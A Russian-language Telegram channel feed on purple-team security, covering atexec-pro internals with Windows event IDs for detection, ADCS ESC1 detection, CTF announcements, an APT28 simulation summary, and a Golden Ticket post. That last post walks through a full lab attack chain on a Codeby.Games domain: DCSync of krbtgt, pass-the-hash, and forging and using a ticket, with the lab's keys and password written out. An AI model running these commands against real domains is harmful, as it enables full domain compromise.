Purple Chronicles @cherepawwkachannel Channel on Telegram

Purple Chronicles

@cherepawwkachannel


Автор канала: @cherepawwka
Изучаем оборонительную и наступательную безопасность, решаем CTF, постигаем азы Web и многое другое😈

Ссылка на обсуждение:
https://t.me/+Ey-SglltFUVmNjMy

Purple Chronicles

13 Dec, 10:51


В этом посте кратко познакомимся с инструментом atexec-pro (https://github.com/Ridter/atexec-pro). Позволяет выполнять команды (в том числе powershell), загружать-скачивать файлы и выполнять .NET в памяти. Для последних трех ограничение в размере - 1 МБ.

Atexec-pro под капотом использует сервис TSCH против привычного ATSVC и работает через TCP (т.е. пайпы не используем). На мой взгляд примечательно то, что в своей работе он файловую систему практически не трогает (кроме создания самой таски), но при этом позволяет получать нам вывод. Обычно подобные инструменты для этих целей используют промежуточный файл на диске, который затем удаляют (atexec, smbexec, wmiexec). AtExec-pro же для хранения вывода команды использует описание задачи :)

Давайте разберем принцип выполнения отдельной произвольной команды в этом инструменте:
1) Формируются рандомное имя задачи (состоит из 8 символов [A-Za-z]) и рандомный ключ
2) Команда, которую мы хотим исполнить шифруется этим ключом (AES) и в дальнейшем будет записана в описание задачи, думаю этим и вызван максимальный размер.
3) Далее берется шаблон PS скрипта, в нём мы указываем ключ из шага 1, который предварительно конвертировали в base64, и указываем имя задачи. В случае обычной команды это будет https://github.com/Ridter/atexec-pro/blob/main/libs/powershells/cmd.ps1. Сам скрипт по имени задачи дергает описание, расшифровывает его, выполняет команду и далее обновляет описание с выводом этой команды.
4) Далее полученный PS скрипт переводим в base64. Этот скрипт будем выполнять в самой задаче при выполнении через powershell -enc.
5) Создаём задачу и запускаем её.
6) Далее в цикле дергаем задачу, ждём её остановки и забираем результат.
7) Удаляем задачу.

Что в итоге имеем на хосте?

Событие 4698 на создание задачи (будет в Action команда powershell.exe -NonInteractive -enc <...>)
События 4688 на запуск процесса
Событие 4104 на выполнение скрипта powershell
Событие 4702 на обновление задачи после выполнения команды (запись вывода)
Событие 4699 на удаление задачи

Наибольшую ценность в плане детекта имеют события 4698 и 4104.
4698 содержит описание созданной задачи, в ней мы можем зацепиться за фиксированное для atexec и atexec-pro строку <StartBoundary>2015-07-15T20:35:13.2757294</StartBoundary> в поле TaskContent.
4104 в данном случае будет содержать переведенную из Base64 строку (то есть не обфусцированную), именно в ней можно увидеть ранее рассмотренный выше шаблон с заполненными полями. 4104 включается через Script Block Logging, если явно он не включен, то будет логироваться через AMSI (будет логировать только подозрительные на своё усмотрение в журнал Powershell/Operational). На основе этого события можно надергать ключевых элементов для детекта из поля script_block_text.

Если у вас используются RPC-фильтры, то действуем аналогично SCShell (https://t.me/beaverdreamer/169), в данном случае у сервиса UUID 86D35949-83C9-4044-B424-DB363231FD0C.


#rpc #atexec #schtasks

Purple Chronicles

05 Dec, 12:41


🪟 Тот SAM так называется 🪟

Представьте ситуацию, когда вы видите множественные события 4662 с характерными для DCSync GUID из-под учётной записи доменного администратора.
Вы начинаете раскручивать цепочку, фиксируете аутентификацию по Kerberos под УЗ этого администратора, но не находите ни одного запроса билета от его имени.
И тут ваше внимание привлекает запрос TGT и ST с типом шифрования 0x12 (AES256) на контроллере домена от, казалось бы, от самого контроллера домена...


О такой цепочке мы и поговорим подробнее в этой статье.
Речь пойдет о двух небезызвестных уязвимостях, позволяющих 🕵️‍♀️алировать привилегии в домене за несколько простых шагов.

Посмотрим на атаку глазами красной команды и научимся искать артефакты, побыв на стороне защиты🔓

#AD

Purple Chronicles

14 Oct, 09:04


☄️Всем привет!☄️

Сегодня, 14.10.2024, закончились отборочные на Международные игры по кибербезопаности, во время которых мы похекали буквально все, что могли. В сегодняшней статье разберем первую половину из реализованных нами рисков.

В связи с объемностью материала разбор было решено разбить на две части, и первую из них я представляю вашему вниманию =) Во второй части разберем оставшееся – более жирные риски и более сложные чейны.

Приятного прочтения!🥸

#infra #vskb #pentest

Purple Chronicles

01 Oct, 11:13


🐧Изучаем AppArmor и ищем недостатки в его конфигурации 🐧

Да, в телеграфе больше нельзя постить картинки, поэтому добро пожаловать в Телетайп!

В этой статье мы рассмотрим эксплуатацию несложной машины с THM, в ходе которой используем известную уязвимость для получения RCE, поревёрсим простой бинарь и найдем миссконфигрурацию в настройках AppArmor, которая позволит эскалировать наши привилегии даже с имеющимися ограничениями😁

#пентест #thm

Purple Chronicles

09 Sep, 12:05


👨‍💻 Долгожданный полигон для синих! 👨‍💻
Я уже успел порешать несколько кейсов оттуда и могу поделиться небольшим фидбеком.

Определённо круто, что теперь у всех желающих есть возможность поработать с передовыми средствами мониторинга. На полигоне представлены:
1) MP SIEM 🧬
2) PT NAD 🌐
3) PT AF 🔥
Этого набора более чем хватает для расследования задач, представленных на платформе.
Доступ прост и понятен; подробная инструкция, описывающая все необходимые шаги для подключения, также приложена.

Задания нескольких уровней сложности, и в некоторых из них нужно прям постараться найти узел, о котором говориться в описании к задаче.
Также есть вопросы к формулировкам самих кейсов, и с первого раза может быть не совсем понятно, о чём идёт речь (по одному я уже успел завести обращение в поддержку).

В общем и целом — выглядит круто и определенно заслуживает внимания. Самое время прокачать свои навыки и вспомнить то, чему вас учили в SOCе🛡

Purple Chronicles

09 Sep, 11:54


🎮 Можно развивать перса в The Sims, тренироваться в FIFA, а можно прокачивать свои навыки расследования кибератак в онлайн-симуляторе Standoff Cyberbones.

Теперь он доступен бесплатно всем пользователям платформы Standoff 365.

Что внутри? 👀

Самые интересные инциденты с кибербитвы Standoff — теперь их можно пощупать собственными руками.

Различные классы современных средств защиты, в которые загружены журналы из живых атак.

Задания в онлайн-симуляторе доступны круглосуточно — выполнять их можно в комфортном темпе.

💪 Начать прокачивать свои навыки и изучить тактики и техники сильнейших российских и иностранных белых хакеров можно тут.

Лестницу из бассейна пока убрать не получится, но все в ваших руках.

Purple Chronicles

04 Sep, 09:47


Изучаем эксплуатацию интересной SQL-инъекции в выражении INSERT💉
https://telegra.ph/SQL-injection-02-05

Представим, что перед вами простое приложение, имеющее форму авторизации и страницу регистрации. Вы битый час пихаете кавычки во все параметры, но так и не находите ничего интересного😢
Опускаются руки? Рано сдаваться!

В этой статье мы подробно рассмотрим процесс эксплуатации second order SQL-инъекции, которая может встретиться в такой форме💻
Здесь мы пройдем все шаги от верификации инъекции до полной эксфильтрации содержащейся в таблицах информации, а также подробно разберём выражение SQL, в котором возникает уязвимость💉

#web #sqli #обучающий

Purple Chronicles

03 Sep, 10:58


Наша команда запустила CTF, регистрация на который открыта для всех желающих📣
А если вы студент, то есть возможность побороться за призовой фонд🪙

Purple Chronicles

03 Sep, 10:56


🏆 WE. ARE. LIVE. 🏆

Good luck to all the participants❤️

game.tqlctf.com

Purple Chronicles

23 Aug, 02:01


Помимо ESC8, который связан с Web enrollment interface ADCS, удалось найти ещё один вектор, который связан с эксплуатацией уязвимых шаблонов сертификатов🖼️

Это был ESC1, который позволяет атакующим олицетворять любого пользователя в домене при запросе сертификата с subjectAltName.
Дело в том, что Active Directory при аутентификации отдает приоритет subjectAltName (SAN), если он присутствует в сертификате. Так почему бы не выпустить сертификат c SAN администратора домена?👺

Давайте погрузимся в атаку и научимся выявлять её, вдумчиво изучив содержимое событий 4886 и 4887 в MP SIEM🧬

Знание ESC1 важно ещё и потому, что на основе этого вектора строятся иные пути атак на ADCS. Например, ESC4, в рамках которого из-за небезопасных разрешений атакующий делает сертификат уязвимым к ESC1. Полный детект ESC4 будет мало отличаться от ESC1, и успешное его выявление зависит от логирования события 4899. Кстати, любое событие 4899 будет представлять интерес, поскольку шаблоны сертификатов меняются не так часто. Берите на заметку и настраивайте оповещения!📣

Purple Chronicles

21 Aug, 09:21


В прошлом году в ходе своеобразного Purple Team проекта нашей команде довелось расследовать интересный и тогда неизвестный мне вектор атаки на домен, который позволил атакующим в течение 15 минут скомпрометировать AD🖥

Что было наиболее удивительно: в SIEM мы не увидели ни одного связанного инцидента, кроме финального результата — DCSync от УЗ контроллера домена с атакующей машины.
Изучив логи, понимание происходящего появилось, и осознать всё помог доклад "Охотимся за современными атаками на инфраструктуру Active Directory" c PHD 11⬜️, который я очень рекомендую к ознакомлению.

Факт того, что успешная атака прошла буквально "мимо нас", заставил меня подумать над детектом этой активности, в результате чего локальная KB пополнилась новым правилом корреляции.
Прочитать, как это было, можно в моём прошлогоднем посте✍️

P.s. совет охотникам за угрозами: если у вас MP SIEM не игнорируйте правила с correlation_type = event, и возьмите за правило первым делом искать активность по фильтру:
correlation_name and correlation_type in ["event", "incident"]

Это уже может помочь вам увидеть то, за что стоит зацепиться и провести дополнительное расследование🔎

Purple Chronicles

13 Jun, 12:01


Да, сегодня день репостов :)
Очень крутой материал от моего друга и коллеги @wr3dmast3r, который вновь снял завесу с такого таинственного понятия, как DOOM DOM😔
Однозначно рекомендую к ознакомлению, особенно отмечу "безимпактовую" XSS на Хабре, которая превратилась из тыквы в прекрасную фишинговую карету🎃

Purple Chronicles

13 Jun, 11:57


Знакомимся с DOOM DOM Invader, или как найти DOM-XSS на Habr во время написания статьи 😔

Сегодня поговорим про инструмент DOM Invader, узнаем некоторые причины появления DOM-уязвимостей и проанализируем несколько примеров уязвимого JavaScript-кода 🖼️

Также вы узнаете, какой потенциальный импакт можно показывать команде BugBounty для получения выплаты за Client-Side уязвимость 👀

Подробнее

Purple Chronicles

13 Jun, 10:27


Анализ TTPs APT группировок на основе TI отчетов, а также разработка и тестирование атомарных тест-кейсов для реализуемых сценариев всегда занимает определенное время на этапе подготовки к проведению Purple Teaming. Поэтому мы всегда стараемся сначала найти нормальную аналитику с техническими подробностями, без маркетинговой воды и "highly sophisticated" формулировок😎 Недавно мне на глаза попался очень полезный репозиторий, который хотелось бы порекомендовать в этой заметке.

Автор детально разбирает отчеты и публикует готовый план и необходимые инструменты для проведения симуляции сценария в формате Purple Teaming.
На примере последнего - Fancy Bear APT28 Adversary Simulation:

🟣 Create dll downloads files through base64, This is to download two files the first is (dfsvc.dll) the second is (Stager.dll)
🟣 Exploiting CVE-2021-40444 to inject the DLL file into Word File and create an execution for DLL by opening Word File
🟣 Word File is running and the actual payload is downloaded through DLLDownloader.dll and we have two files Stager.dll and dfsvc.dll
🟣 The Stager decrypts the actual payload and runs it which in turn is responsible for command and control
🟣 Data exfiltration over OneDrive API C2. This integrates OneDrive API functionality to facilitate communication between the compromised system and the attacker-controlled server thereby potentially hiding the traffic within legitimate OneDrive communication
🟣 Get Command and Control through payload uses the OneDrive API to upload data including command output to OneDrive, the payload calculates the CRC32 checksum of the MachineGuid and includes it in the communication with the server for identification purposes

В итоге получается готовый сценарий, который можно кастомизировать и использовать для проведения Purple Teaming.

Purple Chronicles

27 May, 12:04


Вот и прошел долгожданный PHDays 🔴
Большое спасибо организаторам за такой масштабный фестиваль, это было действительно впечатляюще!

Спасибо тем, кто составил компанию эти 4 дня: ребята, вы крутые! С кем-то я лично встретился впервые, но вы наполнили и так насыщенные дни хорошим настроением и позитивом (действительно Positive Hack Days).

Большое спасибо экспертам за интереснейшие выступления, Defense и Evasion отмечу особенно)

Горд за наших ребят с FEFU: впервые поучаствовав в Кибербитве в рамках Standoff 👨‍💻, они заняли места сразу на двух пьедесталах, как за команду красных, так и за защитников.
Уверен, что обязательно вернусь в следующем году!

Purple Chronicles

21 Apr, 00:34


Занимательная история про Kerberoasting от имени пользователя с отключённой преаутентификацией без знания его пароля.
Я раньше неоднократно задавался таким же вопросом, но смущало то, что без сессионного ключа осуществить атаку казалось невозможным. Однако мир Kerberos и AD удивителен🖼️

Синие команды уже настраивают детекты на странный sname в AS-REQ?

Purple Chronicles

04 Apr, 13:08


🎫Немного о Golden Ticket🎫

Изучая ресурсы по типу HackTricks, вы могли неоднократно увидеть способ выдачи и использования золотого билета при помощи ticketer.py из набора Impacket👩‍💻:
python3 ticketer.py -aesKey $krbtgtAESkey -domain-sid $domainSID -domain $DOMAIN randomuser


Но выпустив себе билет таким образом, при попытке его использования вы увидите следующую ошибку:
[-] Kerberos SessionError: KDC_ERR_TGT_REVOKED(TGT has been revoked)

О чем говорит эта ошибка? Билет был отозван? Но мы же только что его выпустили!

Вся причина в том, что кто-то не следит за патч-ноутами. С ноября 2021 года компания Microsoft начала распространять обновление KB5008380, которое вводилось в несколько этапов. Его целью была нейтрализация серьезной уязвимости CVE-2021-42287, которая позволяла атакующему без особых усилий олицетворять контроллеры домена, злоупотребляя Privilege Attribute Certificate (PAC) Kerberos🖼️

Для тех, кто не в теме:
Privilege Attribute Certificate (PAC) — это компонент, используемый в протоколе аутентификации Kerberos, который хранит дополнительную информацию об авторизации пользователя и прикрепляется к билету Kerberos, предоставляя подробную информацию о членстве пользователя в группах, привилегиях и других атрибутах, связанных с безопасностью.

Возвращаясь к патчу, Microsoft обновила PAC, добавив две новые структуры данных: PAC_ATTRIBUTES_INFO и PAC_REQUESTOR. Наиболее интересной частью патча является новая проверка, представленная структурой PAC_REQUESTOR. С её появлением KDC проверяет имя пользователя (клиента) в билете, который разрешается в SID, включенный в PAC. Поэтому с октября 2022 года любой билет без новой структуры PAC (или билет для несуществующего пользователя) будет отклонен. Естественно, если обновление установлено.
В этом и кроется суть ошибки, которую мы могли наблюдать выше.

Вместе с обновлением подход к созданию золотых билетов тоже изменился. Мы не можем выпустить Golden Ticket для произвольного пользователя, но можем воспользоваться существующим!
Для начала обновите Impacket!
apt install python3-impacket

После обновления выпустить золотой билет можно следующей командой:
python3 ticketer.py -aesKey $krbtgtAESkey -domain-sid $domainSID -domain $DOMAIN -user-id 1000 validuser

При этом обратная совместимость со старым PAC так же останется:
python3 ticketer.py -nthash $krbtgtRC4key -domain-sid $domainSID -domain $DOMAIN -old-pac username


Практический пример использования Golden Ticket на примере уже разобранной мной лабораторной Kingdom с платформы Codeby.Games:
# Получаем SID домена:
impacket-lookupsid codeby.cdb/administrator:'Not_alon3'@192.168.2.4

# Делаем DCSync, получаем ключи учетки krbtgt:
impacket-secretsdump codeby.cdb/administrator:'Not_alon3'@192.168.2.4 -just-dc-user krbtgt

# Осуществляем RID-брутфорс для получения пар RID+user (тут я внезапно использовал Pass-the-Hash):
crackmapexec smb 192.168.2.4 -u Administrator -H 3c3d0f466260c126a80abe255cdfffad --rid-brute

# Выпускаем золотой билет:
impacket-ticketer -aesKey
c8a4d26bcf29ff5cd29882308907b5536af9857de7cbfb4c1bf1cd789b3799d2 -domain-sid S-1-5-21-1870022127-3338747641-451296598 -domain codeby.cdb -user-id 1105 amaslova

# Добавляем запись в /etc/hosts, потому что Kerberos работает с именами служб:
echo '192.168.2.4 kingdom.codeby.cdb kingdom codeby.cdb' >> /etc/hosts

# Используем smbexec с созданным золотым билетом:
export KRB5CCNAME=amaslova.ccache
impacket-smbexec codeby.cdb/[email protected] -k -no-pass


Результат можно увидеть на приложенных к посту (ниже) скриншотах. На первом из них видна попытка выпустить билет на несуществующего пользователя, а на втором — успешное использование золотого билета, выпущенного для непривилегированной учетной записи amaslova!